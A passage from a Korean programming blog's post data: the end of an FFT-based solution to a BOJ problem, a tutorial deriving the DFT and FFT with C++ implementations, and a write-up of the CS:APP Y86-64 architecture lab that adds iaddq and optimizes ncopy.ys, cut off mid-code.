시프트 연산을 위해 둘중 한 배열을 두배로 늘려서 계산하자. 💻 풀이 코드 (C++): void solve(){ string S, T; cin \u0026gt;\u0026gt; S \u0026gt;\u0026gt; T; int N = S.size(); int sz = 1; while(sz \u0026lt; 3*N) sz \u0026lt;\u0026lt;= 1; vector\u0026lt;cd\u0026gt; A(sz), B(sz); rep(i, 0, N) if(S[i] == \u0026#39;1\u0026#39;) A[i] = 1; rep(i, 0, N) if(S[i] == \u0026#39;1\u0026#39;) A[i+N] = 1; rep(i, 0, N) if(T[i] == \u0026#39;1\u0026#39;) B[N-1-i] = 1; FFT::fft(A); FFT::fft(B); rep(i, 0, sz) A[i] *= B[i]; FFT::fft(A, true); int ans = 0; rep(i, N-1, 2*N-1) ans = max(ans, (int)round(A[i].real())); // rep(i, 0, 3*N) cout \u0026lt;\u0026lt; i \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; A[i] \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-04-02T00:00:00Z","permalink":"/posts/algorithm/ps/260402_algorithm_boj-25456-%EA%B6%81%EA%B8%88%ED%95%9C-%EC%8B%9C%ED%94%84%ED%8A%B8/","title":"BOJ 25456 궁금한 시프트"},{"content":"📝 상세 정리 이제 슬슬 FFT를 이해할 때가 된것 같다. 정리해보자. 푸리에 변환 여러 사인파 / 코사인파가 더해진 함수 $h(t)$가 있다. 일단 먼저 사인파만 있다고 가정해보자. 우리는 이 함수 $h(t)$에서 어떤 주파수를 가진 성분들이 있는지 검사하고싶다. 더 쉽게, 먼저 사인파 하나에 대해서 생각해보자. 함수 $f(x) = \\sin{ax}$가 있다. 우리는 $a$를 모른다고 가정하자. 어떻게 하면 이 $a$를 알아낼 수 있을까? 임의의 사인파 $g(x) = \\sin{bx}$를 곱해보자. 삼각함수의 곱셈정리에 의해 $f(x)g(x) = \\sin{ax}\\sin{bx} = \\frac{\\cos{((a-b)x)} - \\cos{((a+b)x)}}{2}$ 위와 같이 나타낼 수 있다. 이를 음의 무한대부터 양의 무한대까지 적분하면, 주기함수의 특성을 이용해서 $a, b$가 같은지 다른지 알아낼 수 있다. $a, b$는 주파수기에 $a, b \u003e 0$이 보장된다. $a = b$일 때만 양의 무한대로 발산하고, 그 외의 경우 진동발산한다. 위의 특징은 여러 사인파의 합 $h(t)$에 대해서도 간단하게 성립한다. 코사인 파가 섞여있다면 코사인파를 곱해서 같은 방법으로 수행해주면 되겠다. 이 때, 오일러 공식 $e^{ix} = \\cos{x} + i\\sin{x}$을 이용해서 실수부 / 허수부로 나눠서 더 쉽게 계산할 수도 있다. 이를 식으로 나타내면 다음과 같다. $$\\hat{h}(x) = \\int_{-\\infty}^{\\infty}{h(t)e^{-2\\pi itx}dt}$$ 이는 신호 -\u0026gt; 주파수로의 변환으로 해석하면 된다. 반대로 주파수 -\u0026gt; 신호의 변환도 가능하다. $$h(t) = \\int_{-\\infty}^{\\infty}{\\hat{h}(x)e^{2\\pi itx}dx}$$ 이를 푸리에 역변환이라고 하자. 여기서 갖고 놀아보자. 이해할때 클로드가 만들어줬다. 신호 종류: 유한 사인파 (현실적) 두 주파수 합성 구형파 무한 사인파 (이상적) ① 시간 도메인 — h(t)\n실제 데이터 (샘플링된 이산 값들)\n② 주파수 도메인 — |X[k]| (DFT 결과)\n각 주파수 성분의 크기. 스파이크가 있는 곳 = 해당 주파수 존재 복소평면에서의 이해도 가능하다. 주파수가 다르다면 상쇄되어 없어진다. 푸리에 변환 — 복소평면 시각화 h(t) = sin(2π·f_signal·t) \u0026nbsp;|\u0026nbsp; 검사 주파수 x 를 바꿔가며 적분값이 어떻게 달라지는지 확인 신호 주파수 f = 3 Hz 5 Hz 7 Hz 검사 주파수 x = 1 Hz 2 Hz 3 Hz ✓ 5 Hz 7 Hz 속도 0.3× 1× 2× 복소평면 — h(t)·e^{−2πitx} 궤적 합: — t = 0.000s Re=0.000 Im=0.000 시간 도메인 — h(t) 와 검사파 누적 Re = 0.000 누적 Im = 0.000 |합| = 0.000 이산 푸리에 변환 (DFT) 현실에서 얻을 수 있는 데이터는 이산적이다. 물론 라플라스 변환마냥 수학적으로 변환해서 계산하는 테크닉적으로 쓰려면 그냥 쓰면 된다. 사인파를 많이 쓸거같은 음악 데이터로 생각해보면, 결국 소리를 받을때도, 저장할때도 이산적으로 저장할 수 밖에 없다. 따라서 이산 데이터에 대해서도 푸리에 변환을 정의해보자. 그러면 적분값 대신 시그마 값으로 표현할 수 있겠다. $$X[k] = \\sum_{n=0}^{N-1}x[n]\\exp\\left(-i\\frac{2\\pi kn}{N}\\right) = \\sum_{n = 0}^{N - 1}{x[n] \\omega^{kn}} \\,\\,\\,\\, (\\omega = \\exp\\left(-i\\dfrac{2\\pi}{N}\\right))$$ 연속 이산 $t$ $n/N$ $h(t)$ $x[n]$ $x$ (주파수) $k$ $dt$ $1/N$ $e^{-2\\pi i t x}$ $\\omega^{kn}$ 위와 같이 대응되게 생각하면 된다. $\\omega$는 단위근이라고 한다. 이때 $\\omega^N = 1$이므로, $0 \\leq k \u003c N$ 인 $k$에 대해서만 유의미한 결과를 얻어낼 수 있다. 따라서 DFT에서는 최대 $N$개의 주파수에 대해서만 검증할 수 있다. 여기서도 물론 역변환을 정의할 수 있다. $$x[n] = \\frac{1}{N}\\sum_{k=0}^{N-1}X[k]\\omega^{-kn}$$ 고속 푸리에 변환 위의 푸리에 변환을 계산하는데, 총 $N$개의 주파수에 대해 $N$개 신호의합을 구하니까 $O(N^2)$의 시간복잡도가 걸린다. 여기서 관찰을 조금 해보자. 8개의 데이터 $x_0, x_1, x_2, \\cdots, x_7$이 있다고 해보자. 이때 $x_n, x_{n+4}$에 곱해지는 계수를 비교하면 $\\exp{(-i\\pi k)}$ 만큼의 차이가 난다. $k$가 홀수일때는 $-1$, 짝수일때는 $1$이다. 이를 이용해서 DFT의 식을 짝수항과 홀수항으로 나눠서 다음과 같이 쓸 수 있다. $$\\begin{align} X[k] \u0026= \\sum_{n=0}^{N-1} x[n]\\exp\\left(-i\\frac{2\\pi kn}{N}\\right) \\\\ \u0026= \\sum_{n=0}^{N/2-1} x[2n]\\exp\\left(-i\\frac{2\\pi k(2n)}{N}\\right) + \\sum_{n=0}^{N/2-1} x[2n+1]\\exp\\left(-i\\frac{2\\pi k(2n+1)}{N}\\right) \\\\ \u0026= \\sum_{n=0}^{N/2-1} x[2n]\\exp\\left(-i\\frac{2\\pi kn}{N/2}\\right) + \\exp\\left(-i\\frac{2\\pi k}{N}\\right)\\sum_{n=0}^{N/2-1} x[2n+1]\\exp\\left(-i\\frac{2\\pi kn}{N/2}\\right) \\\\ \u0026= E[k] + \\exp\\left(-i\\frac{2\\pi k}{N}\\right)O[k] \\\\ \u0026= E[k] + \\omega^kO[k] \\end{align}$$ - 관찰 - 위 식의 짝수항 / 홀수항 부분은 $N/2$ 크기의 DFT와 같다. - 이 식은 $k \u003c N/2$ 에 대해서만 정의되지만, $k \\geq N/2$에 대해서 처리하는 방법은 위에서 찾았다. $$\\begin{align} X[k+N/2] \u0026= \\sum_{n=0}^{N-1} x[n]\\exp\\left(-i\\frac{2\\pi (k+N/2)n}{N}\\right) \\\\ \u0026= \\sum_{n=0}^{N-1} x[n]\\exp\\left(-i\\frac{2\\pi kn}{N}\\right)\\exp(-i\\pi n) \\\\ \u0026= E[k] - \\omega^k O[k] \\end{align}$$ - 따라서 분할정복을 이용해서 $O(N\\log{N})$ 시간에 연산을 수행할 수 있겠다. - 이를 고속 푸리에 변환, FFT라 하자. 합성곱 근데 저 수학 씹덕같은걸 왜배웠냐? DFT를 통해 합성곱을, 합성곱으로 다항식의 곱셈을, 다항식의 곱셈으로 두 수의 곱셈을 할 수 있다고 한다. 다음과 같은 함수가 있다고 하자. $f(x) = a_{N-1}x^{N-1} + a_{N-2}x^{N-2} + \\cdots + a_1x + a_0$ 여기서, $x = \\omega^k$를 대입하면 그 결과는 DFT와 같다! 이를 이용해서 두 다항식 $f, g$에 대한 DFT로 새로운 함수 $h$에 대한 DFT 결과값을 구하고, 이를 역변환해서 $h$를 찾아낼 수 있겠다. 이걸 코드로 옮기면 다음과 같다. using cd = complex\u0026lt;double\u0026gt;; const double PI = acos(-1); vector\u0026lt;cd\u0026gt; fft(vector\u0026lt;cd\u0026gt; a){ int N = a.size(); if(N == 1) return a; vector\u0026lt;cd\u0026gt; even(N/2), odd(N/2); rep(i, 0, N/2){ even[i] = a[2*i]; odd[i] = a[2*i+1]; } even = fft(even); odd = fft(odd); vector\u0026lt;cd\u0026gt; ret(N); rep(k, 0, N/2){ cd t = polar(1.0, -2*PI*k/N) * odd[k]; ret[k] = even[k] + t; ret[k+N/2] = even[k] - t; } return ret; } vector\u0026lt;cd\u0026gt; ifft(vector\u0026lt;cd\u0026gt; a){ int N = a.size(); if(N == 1) return a; vector\u0026lt;cd\u0026gt; even(N/2), odd(N/2); rep(i, 0, N/2){ even[i] = a[2*i]; odd[i] = a[2*i+1]; } even = ifft(even); odd = ifft(odd); vector\u0026lt;cd\u0026gt; ret(N); rep(k, 0, N/2){ cd t = polar(1.0, 2*PI*k/N) * odd[k]; ret[k] = even[k] + t; ret[k+N/2] = even[k] - t; } return ret; } ifft를 사용할때 마지막에 a의 길이로 나눠줘야 함에 주의하자. 사실상 구조가 똑같아서, bool inv같은걸로 최적화하는게 더 좋은거같다 최적화 하지만 이렇게 재귀함수로 새로 배열을 만들면서 진행하면, 느리고 메모리도 많이 먹는다. 인접한 원소들 끼리만 연산할 수 있게, 배열을 재배치하자. $[0, 4, 2, 6, 1, 5, 3, 7]$과 같은 모양이면 좋겠다. 이는 비트를 좌우로 뒤집는 것으로 수행 가능하다. 이렇게 하면 반복문으로 계산할 수 있고, polar 극좌표점 자체도 미리 계산해둬서 쓰면 $NlogN$번에서 $N/2$번으로 줄일 수 있겠다. namespace FFT{ void fft(vector\u0026lt;cd\u0026gt; \u0026amp;a, bool inv = false){ int N = a.size(); assert(N \u0026gt; 0 \u0026amp;\u0026amp; (N \u0026amp; (N-1)) == 0); // N은 2의 거듭제곱이어야 함 // 비트 뒤집기 for(int i = 1, j = 0; i \u0026lt; N; i++){ int bit = N \u0026gt;\u0026gt; 1; for(; j \u0026amp; bit; bit \u0026gt;\u0026gt;= 1) j ^= bit; j ^= bit; if(i \u0026lt; j) swap(a[i], a[j]); } // 단위근 미리 계산 double ang = 2 * acos(-1) / N * (inv ? 1 : -1); vector\u0026lt;cd\u0026gt; w(N/2); // 단위근 rep(i, 0, N/2) w[i] = cd(cos(ang*i), sin(ang*i)); // Cooley-Tukey FFT for(int len = 2; len \u0026lt;= N; len \u0026lt;\u0026lt;= 1){ int step = N / len; for(int i = 0; i \u0026lt; N; i += len){ rep(j, 0, len\u0026gt;\u0026gt;1){ cd even = a[i+j], odd = a[i+j+(len\u0026gt;\u0026gt;1)] * w[j*step]; a[i+j] = even + odd; a[i+j+(len\u0026gt;\u0026gt;1)] = even - odd; } } } // 역 FFT인 경우 결과를 N으로 나눔 if(inv) rep(i, 0, N) a[i] /= N; } } 1067번 문제 기준 608ms -\u0026gt; 92ms로, 6.6배 가까이 줄어들었다! ❔질문 사항 ❓ 주파수에 $2\\pi$를 넣는 이유 주파수 $f$ -\u0026gt; 1초에 몇번 진동하는가 그냥 $\\sin{ft}$라고 쓰면 $t = 1$일때 까지 $f$번 진동하지 않는다 (주기가 $2\\pi$니까) 따라서 $2\\pi$를 곱해줘서 각주파수로 변환해준다.\n❓ $h(x)$의 모든 값들은 발산하는데, 어떻게 그리지? 그래서 수학적으로는 디렉 델타 함수를 이용한다. 하지만 현실 데이터에서는 신호가 유한하거나 / 감쇠하기때문에, 변환 결과 발산하지 않고 자연스럽게 수렴한다.\n🔗 참고 자료 DFT, FFT 이해하기 ","date":"2026-04-02T00:00:00Z","permalink":"/posts/algorithm/topics/260402_til_fft---%EA%B3%A0%EC%86%8D-%ED%91%B8%EB%A6%AC%EC%97%90-%EB%B3%80%ED%99%98/","title":"FFT - 고속 푸리에 변환"},{"content":"📝 상세 정리 Part A sum.ys Y86_64 문법으로 연결리스트의 원소들을 더하는 C 코드를 바꾸자. .pos 0 irmovq stack, %rsp call main halt .align 8 ele1: .quad 0x00a .quad ele2 ele2: .quad 0x0b0 .quad ele3 ele3: .quad 0xc00 .quad 0 main: irmovq ele1, %rdi call sum_list ret sum_list: irmovq $0, %rax sum_list_while: andq %rdi, %rdi je sum_list_while_end mrmovq (%rdi), %rbx addq %rbx, %rax mrmovq 8(%rdi), %rdi jmp sum_list_while sum_list_while_end: ret .pos 0x200 stack: rsum.ys sum.ys와 같지만, 재귀함수로 구성하자. .pos 0 irmovq stack, %rsp call main halt .align 8 ele1: .quad 0x00a .quad ele2 ele2: .quad 0x0b0 .quad ele3 ele3: .quad 0xc00 .quad 0 main: irmovq ele1, %rdi call rsum_list ret rsum_list: andq %rdi, %rdi jne rsum_list_func irmovq $0, %rax ret rsum_list_func: pushq %rbx mrmovq (%rdi), %rbx mrmovq 8(%rdi), %rdi call rsum_list addq %rbx, %rax popq %rbx ret .pos 0x200 stack: copy.ys 이번엔 source 블럭에서 destination 블럭으로 값을 복사하는걸 수행하자 .pos 0 irmovq stack, %rsp call main halt .align 8 src: .quad 0x00a .quad 0x0b0 .quad 0xc00 dest: .quad 0x111 .quad 0x222 .quad 0x333 main: irmovq src, %rdi irmovq dest, %rsi irmovq $3, %rdx call copy_block ret copy_block: xorq %rax, %rax // result = 0 copy_block_while: andq %rdx, %rdx je copy_block_end irmovq $8, %rcx mrmovq (%rdi), %rbx // val = *src addq %rcx, %rdi // src++ rmmovq %rbx, (%rsi) // *dest = val addq %rcx, %rsi // dest++ xorq %rbx, %rax // result ^= val irmovq $1, %rbx subq %rbx, %rdx jmp copy_block_while copy_block_end: ret .pos 0x200 stack: Part B SEQ 프로세서 (seq-full.hcl)에 iaddq 명령어를 추가하자. Fetch / Decode / Execute / Mmory / Write-back를 잘 처리해야겠네\u0026hellip; 천천히 해보자 Fetch ################ Fetch Stage ################################### # Determine instruction code word icode = [ imem_error: INOP; 1: imem_icode;\t# Default: get from instruction memory ]; # Determine instruction function word ifun = [ imem_error: FNONE; 1: imem_ifun;\t# Default: get from instruction memory ]; bool instr_valid = icode in { INOP, IHALT, IRRMOVQ, IIRMOVQ, IRMMOVQ, IMRMOVQ, IOPQ, IJXX, ICALL, IRET, IPUSHQ, IPOPQ }; # Does fetched instruction require a regid byte? bool need_regids = icode in { IRRMOVQ, IOPQ, IPUSHQ, IPOPQ, IIRMOVQ, IRMMOVQ, IMRMOVQ }; # Does fetched instruction require a constant word? bool need_valC = icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IJXX, ICALL }; iaddq를 뭐가 필요할까? 일단 icode, ifun 은 물론 잘 있다고 생각하고, 아래를 생각해보자. instr_valid를 true로 만들기 위해 저기에다가 IIADDQ를 추가하고, 레지스터가 필요한가? 아무래도 레지스터에 더해야한다. val_C도 필요한가? 아무래도 상수값을 더하려면 필요하다. 다 추가해주자. Decode ################ Decode Stage ################################### ## What register should be used as the A source? word srcA = [ icode in { IRRMOVQ, IRMMOVQ, IOPQ, IPUSHQ } : rA; icode in { IPOPQ, IRET } : RRSP; 1 : RNONE; # Don\u0026#39;t need register ]; ## What register should be used as the B source? word srcB = [ icode in { IOPQ, IRMMOVQ, IMRMOVQ } : rB; icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP; 1 : RNONE; # Don\u0026#39;t need register ]; ## What register should be used as the E destination? word dstE = [ icode in { IRRMOVQ } \u0026amp;\u0026amp; Cnd : rB; icode in { IIRMOVQ, IOPQ} : rB; icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP; 1 : RNONE; # Don\u0026#39;t write any register ]; ## What register should be used as the M destination? word dstM = [ icode in { IMRMOVQ, IPOPQ } : rA; 1 : RNONE; # Don\u0026#39;t write any register ]; srcA, srcB, dstE, dstM중에선 뭐가 필요할까? 아무래도 가져올필요 없으니 srcA, srcB는 필요 없는거같고, dst만 있으면 될것같다. 아니지, srcB에다가 더해야하는거니까 srcB도 가져와야한다. 메모리에서 긁어온게 아니라 Execute에서 얻을 수 있는 값이니, dstE에 추가하면 되겠다. 근데 Cnd는 뭐지? condition중에 하나인거같은데, 일단 무조건 rB는 되어야하니 두번째줄에 넣자. Execute ################ Execute Stage ################################### ## Select input A to ALU word aluA = [ icode in { IRRMOVQ, IOPQ } : valA; icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ } : valC; icode in { ICALL, IPUSHQ } : -8; icode in { IRET, IPOPQ } : 8; # Other instructions don\u0026#39;t need ALU ]; ## Select input B to ALU word aluB = [ icode in { IRMMOVQ, IMRMOVQ, IOPQ, ICALL, IPUSHQ, IRET, IPOPQ } : valB; icode in { IRRMOVQ, IIRMOVQ } : 0; # Other instructions don\u0026#39;t need ALU ]; ## Set the ALU function word alufun = [ icode == IOPQ : ifun; 1 : ALUADD; ]; ## Should the condition codes be updated? bool set_cc = icode in { IOPQ }; 계산이랑 조건비트 설정까지 다 해야하는 Execute 단계이다. aluA에 valC를, aluB에 valB를 넣어야겠지? alufun은 아니고, setcc는 켜야겠다. Memory 여기선 뭐 할게 없죠 메모리에 접근을 안하는디 Write back 에? 원본 코드에는 여기가 없다. 알아서 되는 영역인듯? Program Counter Update 이것도 자연스럽게 처리되어있다. Test 위의것들을 추가하면 간단하게 완료된다! 생각보다 쉽네 Y86-64 Processor: seq-full.hcl 137 bytes of code read IF: Fetched irmovq at 0x0. ra=----, rb=%rsp, valC = 0x100 IF: Fetched call at 0xa. ra=----, rb=----, valC = 0x38 Wrote 0x13 to address 0xf8 IF: Fetched irmovq at 0x38. ra=----, rb=%rdi, valC = 0x18 IF: Fetched irmovq at 0x42. ra=----, rb=%rsi, valC = 0x4 IF: Fetched call at 0x4c. ra=----, rb=----, valC = 0x56 Wrote 0x55 to address 0xf0 IF: Fetched xorq at 0x56. ra=%rax, rb=%rax, valC = 0x0 IF: Fetched andq at 0x58. ra=%rsi, rb=%rsi, valC = 0x0 IF: Fetched jmp at 0x5a. ra=----, rb=----, valC = 0x83 IF: Fetched jne at 0x83. ra=----, rb=----, valC = 0x63 IF: Fetched mrmovq at 0x63. ra=%r10, rb=%rdi, valC = 0x0 IF: Fetched addq at 0x6d. ra=%r10, rb=%rax, valC = 0x0 IF: Fetched iaddq at 0x6f. ra=----, rb=%rdi, valC = 0x8 IF: Fetched iaddq at 0x79. ra=----, rb=%rsi, valC = 0xffffffffffffffff IF: Fetched jne at 0x83. ra=----, rb=----, valC = 0x63 IF: Fetched mrmovq at 0x63. ra=%r10, rb=%rdi, valC = 0x0 IF: Fetched addq at 0x6d. ra=%r10, rb=%rax, valC = 0x0 IF: Fetched iaddq at 0x6f. ra=----, rb=%rdi, valC = 0x8 IF: Fetched iaddq at 0x79. ra=----, rb=%rsi, valC = 0xffffffffffffffff IF: Fetched jne at 0x83. ra=----, rb=----, valC = 0x63 IF: Fetched mrmovq at 0x63. ra=%r10, rb=%rdi, valC = 0x0 IF: Fetched addq at 0x6d. ra=%r10, rb=%rax, valC = 0x0 IF: Fetched iaddq at 0x6f. ra=----, rb=%rdi, valC = 0x8 IF: Fetched iaddq at 0x79. ra=----, rb=%rsi, valC = 0xffffffffffffffff IF: Fetched jne at 0x83. ra=----, rb=----, valC = 0x63 IF: Fetched mrmovq at 0x63. ra=%r10, rb=%rdi, valC = 0x0 IF: Fetched addq at 0x6d. ra=%r10, rb=%rax, valC = 0x0 IF: Fetched iaddq at 0x6f. ra=----, rb=%rdi, valC = 0x8 IF: Fetched iaddq at 0x79. ra=----, rb=%rsi, valC = 0xffffffffffffffff IF: Fetched jne at 0x83. ra=----, rb=----, valC = 0x63 IF: Fetched ret at 0x8c. ra=----, rb=----, valC = 0x0 IF: Fetched ret at 0x55. ra=----, rb=----, valC = 0x0 IF: Fetched halt at 0x13. ra=----, rb=----, valC = 0x0 32 instructions executed Status = HLT Condition Codes: Z=1 S=0 O=0 Changed Register State: %rax: 0x0000000000000000 0x0000abcdabcdabcd %rsp: 0x0000000000000000 0x0000000000000100 %rdi: 0x0000000000000000 0x0000000000000038 %r10: 0x0000000000000000 0x0000a000a000a000 Changed Memory State: 0x00f0: 0x0000000000000000 0x0000000000000055 0x00f8: 0x0000000000000000 0x0000000000000013 ISA Check Succeeds ./optest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 58 ISA Checks Succeed ./jtest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 96 ISA Checks Succeed ./ctest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 22 ISA Checks Succeed ./htest.pl -s ../seq/ssim -i Simulating with ../seq/ssim All 756 ISA Checks Succeed Part C ncopy.ys가 최대한 빠르게 실행대도록 최적화하는 단계이다. CPE가 7.5 이하로 가도록! pipe-full.hcl를 수정하고, ncopy.ys를 수정하자. make VERSION=full GUIMODE=\u0026#34;\u0026#34; # pipe-full.hcl 수정 후 make drivers # ncopy.ys 수정 후 ./correctness.pl # 정확성 확인 ./benchmark.pl # CPE 확인 처음 CPE는 15.18이다. 힘내보자고 pipe-full.hcl 일단 CPU부터 손보자. 여기서도 IIADDQ를 추가해야하는것 같다. Fetch 일단 f_PC는 상관 없을 것 같다. f_icode, f_ifun도 문제 없고.. instr_valid는 추가해야겠지. 위와 같이 need_regids, need_valC도 다 추가해야겠다. f_predPC는 점프할일 없으니까 f_valP 그대로! Decode 똑같이 d_srcB, d_dstE 두개를 남겨야할 것 같다. valA를 가져올때 이슈인데\u0026hellip; 포워딩을 해야되는데. valA에는 Execute 단계에서 valC를 가져오면 되고, valB는 땡겨올텐데\u0026hellip; 아 이미 코딩이 되어있다. e_dstE, M_dstM, M_dstE, W_dstM, W_dstE 순서에서 땡겨온다. 안건드려도 될듯 Execute aluA는 E_valC에서 데려오는거니, 거기다가 IIADDQ를 넣어주자. aluB에는 E_valB에서 가져오게. alufun은 상관없고, setcc가 좀 이슈인데\u0026hellip; ## Should the condition codes be updated? bool set_cc = E_icode == IOPQ \u0026amp;\u0026amp; # State changes only during normal operation !m_stat in { SADR, SINS, SHLT } \u0026amp;\u0026amp; !W_stat in { SADR, SINS, SHLT }; 원래 코드가 이렇게 되어있는데, E_icode == IOPQ 부분을 in 문법으로 바꾸면 될까? bool set_cc = E_icode in { IOPQ, IIADDQ} \u0026amp;\u0026amp; 이렇게 한번 바꿔보자. Memory 할일 없지 않을까? Pipeline Register conrtrol 버블을 넣을까 말까인데, IADDQ는 뭐 상관 없었지. stall도 할 필요 없고. test ❯ cd ../y86-code; make testpsim Makefile:42: warning: ignoring prerequisites on suffix rule definition Makefile:45: warning: ignoring prerequisites on suffix rule definition Makefile:48: warning: ignoring prerequisites on suffix rule definition Makefile:51: warning: ignoring prerequisites on suffix rule definition ../pipe/psim -t asum.yo \u0026gt; asum.pipe ../pipe/psim -t asumr.yo \u0026gt; asumr.pipe ../pipe/psim -t cjr.yo \u0026gt; cjr.pipe ../pipe/psim -t j-cc.yo \u0026gt; j-cc.pipe ../pipe/psim -t poptest.yo \u0026gt; poptest.pipe ../pipe/psim -t pushquestion.yo \u0026gt; pushquestion.pipe ../pipe/psim -t pushtest.yo \u0026gt; pushtest.pipe ../pipe/psim -t prog1.yo \u0026gt; prog1.pipe ../pipe/psim -t prog2.yo \u0026gt; prog2.pipe ../pipe/psim -t prog3.yo \u0026gt; prog3.pipe ../pipe/psim -t prog4.yo \u0026gt; prog4.pipe ../pipe/psim -t prog5.yo \u0026gt; prog5.pipe ../pipe/psim -t prog6.yo \u0026gt; prog6.pipe ../pipe/psim -t prog7.yo \u0026gt; prog7.pipe ../pipe/psim -t prog8.yo \u0026gt; prog8.pipe ../pipe/psim -t ret-hazard.yo \u0026gt; ret-hazard.pipe grep \u0026#34;ISA Check\u0026#34; *.pipe asum.pipe:ISA Check Succeeds asumr.pipe:ISA Check Succeeds cjr.pipe:ISA Check Succeeds j-cc.pipe:ISA Check Succeeds poptest.pipe:ISA Check Succeeds prog1.pipe:ISA Check Succeeds prog2.pipe:ISA Check Succeeds prog3.pipe:ISA Check Succeeds prog4.pipe:ISA Check Succeeds prog5.pipe:ISA Check Succeeds prog6.pipe:ISA Check Succeeds prog7.pipe:ISA Check Succeeds prog8.pipe:ISA Check Succeeds pushquestion.pipe:ISA Check Succeeds pushtest.pipe:ISA Check Succeeds ret-hazard.pipe:ISA Check Succeeds rm asum.pipe asumr.pipe cjr.pipe j-cc.pipe poptest.pipe pushquestion.pipe pushtest.pipe prog1.pipe prog2.pipe prog3.pipe prog4.pipe prog5.pipe prog6.pipe prog7.pipe prog8.pipe ret-hazard.pipe ❯ cd ../ptest; make SIM=../pipe/psim TFLAGS=-i ./optest.pl -s ../pipe/psim -i Simulating with ../pipe/psim All 58 ISA Checks Succeed ./jtest.pl -s ../pipe/psim -i Simulating with ../pipe/psim All 96 ISA Checks Succeed ./ctest.pl -s ../pipe/psim -i Simulating with ../pipe/psim All 22 ISA Checks Succeed ./htest.pl -s ../pipe/psim -i Simulating with ../pipe/psim All 756 ISA Checks Succeed 구웃 잘 돌아간다 ncopy.ys 일단 아무래도 CPE는 그대로 15.18이다. 이걸 잘 바꿔보자. # You can modify this portion # Loop header xorq %rax,%rax\t# count = 0; andq %rdx,%rdx\t# len \u0026lt;= 0? jle Done\t# if so, goto Done: Loop:\tmrmovq (%rdi), %r10\t# read val from src... rmmovq %r10, (%rsi)\t# ...and store it to dst andq %r10, %r10\t# val \u0026lt;= 0? jle Npos\t# if so, goto Npos: irmovq $1, %r10 addq %r10, %rax\t# count++ Npos:\tirmovq $1, %r10 subq %r10, %rdx\t# len-- irmovq $8, %r10 addq %r10, %rdi\t# src++ addq %r10, %rsi\t# dst++ andq %rdx,%rdx\t# len \u0026gt; 0? jg Loop\t# if so, goto Loop: 우리가 바꿀 수 있는건 이부분인데.. IIADDQ irmovq 를 이용해서 레지스트리에 값을 넣고, 그걸 addq로 연산하는 부분이 두군데 보인다. 이걸 iaddq로 줄일 수 있겠다. 이걸 수행했더니 CPE가 15.18 -\u0026gt; 13.70으로 줄었다. 갈길이 멀어보인다.. 어라, Npos에도 $-1로 len\u0026ndash;를 구현할 수 있었다. 딱 하나 줄어서 12.70이 됐다. 순서 바꾸기? mmmovq가 없으니, mrmovq, rmmovq로 데이터를 복사하고 있다. 그런데 이때 메모리 참조에서 하자드가 일어나서, bubble / stall이 들어가지 않았던가? 이 사이에 andq를 넣어볼까? 아 이것만으로는 같다\u0026hellip; 안되넹 Loop:\tmrmovq (%rdi), %r10\t# read val from src... andq %r10, %r10\t# val \u0026lt;= 0? rmmovq %r10, (%rsi)\t# ...and store it to dst jle Npos\t# if so, goto Npos: iaddq $1, %rax\t# count++ 아하, 안되는게 아니라 이렇게 수정한거였는데, andq에서도 결국 %r10이 필요해서 이슈가 생긴다. 그런데 사이에 더 끼울수있는게 없는데.. 어셈블리 최적화 코드 자체를 최적화해볼까? 점프같은걸 잘 없앨 수 있을거같은데. 점프 적중률을 올려보자. Y86-64는 언제나 점프를 안한다고 생각하고 움직인다. ncopy: xorq %rax,%rax\t# count = 0; andq %rdx,%rdx\t# len \u0026lt;= 0? jle Done\t# if so, goto Done: Loop: mrmovq (%rdi), %r10\t# read val from src... andq %r10, %r10\t# val \u0026lt;= 0? rmmovq %r10, (%rsi)\t# ...and store it to dst # jle Npos\t# if so, goto Npos: # iaddq $1, %rax\t# count++ jg plus1 Npos: iaddq $-1, %rdx\t# len-- iaddq $8, %rdi\t# src++ iaddq $8, %rsi\t# dst++ andq %rdx,%rdx\t# len \u0026gt; 0? jle Done jmp Loop\t# if so, goto Loop: plus1: iaddq $1, %rax jmp Npos 쩝 이런느낌으로 해볼까 했는데, 오히려 명령어가 늘어서 15를 넘겨버렸다. 어떻게 하면 좋지? 점프를 덜타야할거같은데 버킷질 제곱근분할법에서 하는것처럼, 버킷질로 묶어서 처리할 수 있지 않을까? 그렇게하면 mrmovq 해저드도 없앨 수 있지 않을까? Loop: mrmovq (%rdi), %r10\t# read val from src... mrmovq 8(%rdi), %r11 # src+1 rmmovq %r10, (%rsi)\t# ...and store it to dst rmmovq %r11, 8(%rsi) # src+1 to dst+1 andq %r10, %r10\t# val \u0026lt;= 0? jle Npos\t# if so, goto Npos: iaddq $1, %rax\t# count++ Npos: andq %r11, %r11 jle Npos2 iaddq $1, %rax Npos2: iaddq $-2, %rdx\t# len-- iaddq $16, %rdi\t# src++ iaddq $16, %rsi\t# dst++ andq %rdx,%rdx\t# len \u0026gt; 0? jg Loop\t# if so, goto Loop: 아 다 좋은데.. 이게 짝수개일때만 동작한다. 홀수개이면 어카지? Loop2를 만들까? Loop로는 len \u0026gt; 1일때만 보내자. ncopy: xorq %rax,%rax\t# count = 0; iaddq $-1, %rdx jl Done Loop: je move1 mrmovq (%rdi), %r10\t# read val from src... mrmovq 8(%rdi), %r11 # src+1 rmmovq %r10, (%rsi)\t# ...and store it to dst rmmovq %r11, 8(%rsi) # src+1 to dst+1 andq %r10, %r10\t# val \u0026lt;= 0? jle Npos\t# if so, goto Npos: iaddq $1, %rax\t# count++ Npos: andq %r11, %r11 jle Npos2 iaddq $1, %rax Npos2: iaddq $16, %rdi\t# src += 2 iaddq $16, %rsi\t# dst += 2 iaddq $-2, %rdx\t# len -= 2 jge Loop jmp Done move1: mrmovq (%rdi), %r10\t# read val 